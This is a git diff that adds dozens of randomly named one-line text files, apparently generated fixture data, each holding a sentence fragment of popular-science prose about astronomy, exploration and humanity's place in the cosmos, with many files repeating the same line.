diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_lbvolxfwykkffqwlcww.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_lbvolxfwykkffqwlcww.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_lbvolxfwykkffqwlcww.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_meumzizmfuimrujckzvtnyy.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_meumzizmfuimrujckzvtnyy.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_meumzizmfuimrujckzvtnyy.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_nmxxzndbawaxcyokoas.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_nmxxzndbawaxcyokoas.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_nmxxzndbawaxcyokoas.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ombkwxxzbnyp.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ombkwxxzbnyp.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ombkwxxzbnyp.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pjwpccbirxyxhwabg.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pjwpccbirxyxhwabg.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pjwpccbirxyxhwabg.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pvsobfaqucocn.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pvsobfaqucocn.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_pvsobfaqucocn.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vbwpxptrzxyylis.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vbwpxptrzxyylis.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vbwpxptrzxyylis.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vxgqivlhwrzx.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vxgqivlhwrzx.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_vxgqivlhwrzx.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wejoycgry.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wejoycgry.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wejoycgry.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wekyyydnajnhw.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wekyyydnajnhw.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_wekyyydnajnhw.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yfqaipufmwlqocrmnunrhpbt.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yfqaipufmwlqocrmnunrhpbt.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yfqaipufmwlqocrmnunrhpbt.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yhwcjzjvwfbfohcletdew.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yhwcjzjvwfbfohcletdew.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_yhwcjzjvwfbfohcletdew.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ywzeinrcupkniiqmula.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ywzeinrcupkniiqmula.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_ywzeinrcupkniiqmula.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_zryijnullffycrezvo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_zryijnullffycrezvo.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_zryijnullffycrezvo.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/lgvfytyqpxqzvlfpsryozdn.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/lgvfytyqpxqzvlfpsryozdn.txt
new file mode 100644
index 0000000..38fa51d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/lgvfytyqpxqzvlfpsryozdn.txt
@@ -0,0 +1 @@
+their long voyage home.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/mgqmnnuukuwqofj.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/mgqmnnuukuwqofj.txt
new file mode 100644
index 0000000..aace5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/mgqmnnuukuwqofj.txt
@@ -0,0 +1 @@
+is Barnard’s Star, the nearest single star. The complex interactions of the three stars in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nenccnpgvlthelxrpx.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nenccnpgvlthelxrpx.txt
new file mode 100644
index 0000000..71f3bff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nenccnpgvlthelxrpx.txt
@@ -0,0 +1 @@
+. . . I was washing wool on the bank of the River Kan. Suddenly a noise like the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nknuzulct.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nknuzulct.txt
new file mode 100644
index 0000000..aa3ef30
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/nknuzulct.txt
@@ -0,0 +1 @@
+And the rivers had created the canals,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ovlezrfczqjrk.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ovlezrfczqjrk.txt
new file mode 100644
index 0000000..1f4f9ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ovlezrfczqjrk.txt
@@ -0,0 +1 @@
+see, however, is almost exclusively red shifts no matter what distant objects beyond the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ptuzbdwejpz.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ptuzbdwejpz.txt
new file mode 100644
index 0000000..2d77810
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ptuzbdwejpz.txt
@@ -0,0 +1 @@
+have improved. We have tempered our anger, frustration and despair with reason. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/tmdhgxatfiogopmabr.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/tmdhgxatfiogopmabr.txt
new file mode 100644
index 0000000..a338a8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/tmdhgxatfiogopmabr.txt
@@ -0,0 +1 @@
+galaxy has been carved in the rock. On June 21, the first day of summer, a dagger of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/uhztktoeniqgxuasqniyjb.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/uhztktoeniqgxuasqniyjb.txt
new file mode 100644
index 0000000..4aab793
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/uhztktoeniqgxuasqniyjb.txt
@@ -0,0 +1 @@
+was not to know.* Even today there are scientists opposed to the popularization of science:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/umsiujbjzvhtcsguommox.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/umsiujbjzvhtcsguommox.txt
new file mode 100644
index 0000000..28455b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/umsiujbjzvhtcsguommox.txt
@@ -0,0 +1 @@
+and off can cross Cyg X-1 no faster than the speed of light, 300,000 km/sec. Thus Cyg X-1
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_barbrktpmofbdqrfxqknl.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_barbrktpmofbdqrfxqknl.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_barbrktpmofbdqrfxqknl.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_dvymsfqmv.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_dvymsfqmv.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_dvymsfqmv.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_fstoqnuwptbuvahammvo.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_fstoqnuwptbuvahammvo.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_fstoqnuwptbuvahammvo.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ghqwgemlbqxqxftxoqkt.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ghqwgemlbqxqxftxoqkt.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ghqwgemlbqxqxftxoqkt.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_gyrbmnogdxiplyndvq.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_gyrbmnogdxiplyndvq.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_gyrbmnogdxiplyndvq.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hnontbuljbghhxc.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hnontbuljbghhxc.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hnontbuljbghhxc.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hpmwgcfaxjjsezwqxadvda.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hpmwgcfaxjjsezwqxadvda.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hpmwgcfaxjjsezwqxadvda.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hrdumyweldhzopek.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hrdumyweldhzopek.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_hrdumyweldhzopek.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ietmeltladagxrkvgyt.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ietmeltladagxrkvgyt.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_ietmeltladagxrkvgyt.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_jmccfqdzcof.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_jmccfqdzcof.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_jmccfqdzcof.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_kczqflcxhhqnntwg.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_kczqflcxhhqnntwg.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_kczqflcxhhqnntwg.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_klmokjegosxcuttvmarpihn.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_klmokjegosxcuttvmarpihn.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_klmokjegosxcuttvmarpihn.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_mwmdintvlggassjkptyn.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_mwmdintvlggassjkptyn.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_mwmdintvlggassjkptyn.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_necwrlvll.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_necwrlvll.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_necwrlvll.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_notengjw.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_notengjw.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_notengjw.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_omivharbpxm.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_omivharbpxm.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_omivharbpxm.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_pbncjqfieqr.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_pbncjqfieqr.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_pbncjqfieqr.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_rhfryqueydoct.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_rhfryqueydoct.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_rhfryqueydoct.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skazbsrjonhyd.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skazbsrjonhyd.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skazbsrjonhyd.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skniyjbdexgznbwo.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skniyjbdexgznbwo.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_skniyjbdexgznbwo.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_towiozyirhdcyfebeu.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_towiozyirhdcyfebeu.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_towiozyirhdcyfebeu.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_uwkbdywsjnvmnfsn.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_uwkbdywsjnvmnfsn.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_uwkbdywsjnvmnfsn.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xctfxmvgbsauhejkabui.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xctfxmvgbsauhejkabui.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xctfxmvgbsauhejkabui.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xdpocehrqqbcdnvqu.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xdpocehrqqbcdnvqu.txt
new file mode 100644
index 0000000..e111562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/file_xdpocehrqqbcdnvqu.txt
@@ -0,0 +1 @@
+The themes of space and time are, as we have seen, intertwined. Worlds and stars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_efmsxqwynqyx.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_efmsxqwynqyx.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_efmsxqwynqyx.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_fbsgimbfywlpchiocudbuvf.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_fbsgimbfywlpchiocudbuvf.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_fbsgimbfywlpchiocudbuvf.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_harogegzbrdine.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_harogegzbrdine.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_harogegzbrdine.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_hbqutqpc.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_hbqutqpc.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_hbqutqpc.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_inhqwvnydnawthqk.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_inhqwvnydnawthqk.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_inhqwvnydnawthqk.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_kobodooedlrh.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_kobodooedlrh.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_kobodooedlrh.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_lwpnohtsv.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_lwpnohtsv.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_lwpnohtsv.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_pnpysrhwjcn.txt b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_pnpysrhwjcn.txt
new file mode 100644
index 0000000..3b39db6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcrvrhtzsx/folder_bovnctvkob/file_pnpysrhwjcn.txt
@@ -0,0 +1 @@
+perspective, most human concerns seem insignificant, even petty. And yet our species is
\ No newline at end of file
